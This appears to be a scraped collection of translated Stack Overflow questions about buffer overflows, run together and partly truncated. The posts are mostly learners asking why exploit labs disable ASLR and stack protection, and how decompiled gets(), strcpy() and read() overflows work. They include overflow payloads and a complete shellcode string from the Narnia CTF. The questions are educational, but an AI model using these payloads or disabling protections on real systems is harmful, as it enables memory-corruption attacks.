我需要编写一个安全的程序,防止它在Delphi中被利用.我需要启用所有保护和机制,但我不明白这样做.
保护示例:
以及如何在EMET下运行我的程序并获得绿色标记?
感谢您的回复并与我分享您的信息.
为了使Linux机器容易溢出,我必须使用这些命令
sudo echo 0 > /proc/sys/kernel/randomize_va_space
Run Code Online (Sandbox Code Playgroud)
和
-fno-stack-protector -z execstack -o bug bug.c
Run Code Online (Sandbox Code Playgroud)
在尝试溢出机器之前使用这两个命令的目的是什么?他们禁用哪些安全功能会导致缓冲区溢出?
今天我们数据结构的老师在学习栈的时候提到了这一点,但是没有给出正确的解释。
stack-overflow programming-languages buffer-overflow data-structures
这是缓冲区溢出的二进制文件的摘录。我用 Ghidra 反编译了它。
char local_7 [32];
long local_78;
printf("Give it a try");
gets(local_7);
if (local_78 != 0x4141414141414141) {
if (local_78 == 0x1122334455667788) {
puts ("That's won")
}
puts("Let's continue");
}
Run Code Online (Sandbox Code Playgroud)
我想了解为什么可能会发生缓冲区溢出。
我检查了“0x4141414141414141”十六进制值,发现它与“A”字符串有关。但是与“0x4141414141414141”和“0x1122334455667788”相关的条件究竟是做什么的?更准确地说,用户可以回答什么来获得消息(“那是赢了”)?
任何解释将不胜感激,谢谢!
___EDIT ___
我必须补充一点,我在使用“disas main”命令时看到了这两个十六进制值:
0x00000000000011a7 <+8>: movabs $0x4141414141414141,%rax
0x00000000000011e6 <+71>: movabs $0x4141414141414141,%rax
0x00000000000011f6 <+87>: movabs $0x1122334455667788,%rax
Run Code Online (Sandbox Code Playgroud)
我尝试使用python3 -c "print ('A' * 32 +'\x88\x77\x66\x55\x44\x33\x22\x11')" | ./ myBinary.
但我总是有"Let's continue"消息。我离解决方案不远了,但我想我错过了一件事..你能帮我什么吗?
___EDIT 2 ___ 在获取之前:
char local_7 [40];
long local_78;
local_78 = 0x4141414141414141;
printf("Give it a …Run Code Online (Sandbox Code Playgroud) 我目前正在通过纳尼亚 CTF 工作。我在第 1 级。在第 1 级,我们有一个调用环境变量的程序。我们可以改变这个环境变量。当我尝试将环境变量设置为某些十六进制代码时,程序会引发段错误。
export EGG="\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"
Run Code Online (Sandbox Code Playgroud)
我在网上看了一下,似乎人们通过让python打印来生成shellcode,然后将其存储为命令。当我使用上面的 shellcode 执行此操作时,它看起来像这样:
export EGG=$(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')
Run Code Online (Sandbox Code Playgroud)
当我这样做时,程序成功运行。有人可以解释这两个命令的不同之处吗?谢谢!
我正遭受意外的行为; 这是问题定义:
我有应用程序通过UDP协议在LAN上进行通信.我正在从文本文件中读取IP地址和端口号.最初IP地址和端口号工作正常,但是一段时间后,存储在char数组中的IP地址已损坏,并且需要垃圾值.此外,文件写入也受此影响.我的意思是IP数组中的值也写在由同一个应用程序编写的文本文件中.我无法理解这是什么问题 - 你能帮忙吗?
在函数中的缓冲区之后声明变量是否会使缓冲区无法访问其内存区域?因为我尝试这样做,每次编译程序时缓冲区仍然可以访问它。缓冲区的首地址始终是堆栈帧的最低可能地址。
和编译器有关系吗?我正在使用海湾合作委员会。
int check_authentication(char *password){
int demovar;
char password_buffer[16];
int auth_flag;
strcpy(password_buffer,password);
if(strcmp(password_buffer,"brilling")==0)auth_flag=1;
if(strcmp(password_buffer,"outgrabe")==0)auth_flag=1;
return auth_flag;
}
Run Code Online (Sandbox Code Playgroud) 我有以下功能.可执行文件运行正常.在提示符下,程序运行后,我输入\x0037337331,B的值设置为B: 0x31333337
关于我如何触发开放的任何建议 log.txt
int play() {
int a;
int b;
char buffer[010];
a = 0x41414141;
b = 0x42424242;
if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) {
perror("write");
}
if (read(STDIN_FILENO, &buffer, 0xC) < 0) {
perror("read");
}
if (a == 31337) {
system(buffer);
}
else if (b == 1337) {
readfile("log.txt");
}
else {
printf("B: 0x%08x\n", b);
}
}
Run Code Online (Sandbox Code Playgroud) 在这个程序这里:
#include <stdio.h>
int main(void)
{
char ch = 'A';
char* ptr = &ch;
ptr[8] = 'B';
printf("ptr[8] = %c\n", ptr[8]);
*ptr = 'C';
printf("*ptr = %c\n", *ptr);
}
Run Code Online (Sandbox Code Playgroud)
输出:
ptr[8] = B
*ptr = C
Segmentation fault (core dumped)
Run Code Online (Sandbox Code Playgroud)
我认为该程序应该在行ptr[8] = 'B';和段崩溃,但程序确实执行了所有代码行然后崩溃,这是我真的没有得到的.
它不应该在线路上崩溃ptr[8] = 'B';并停止执行吗?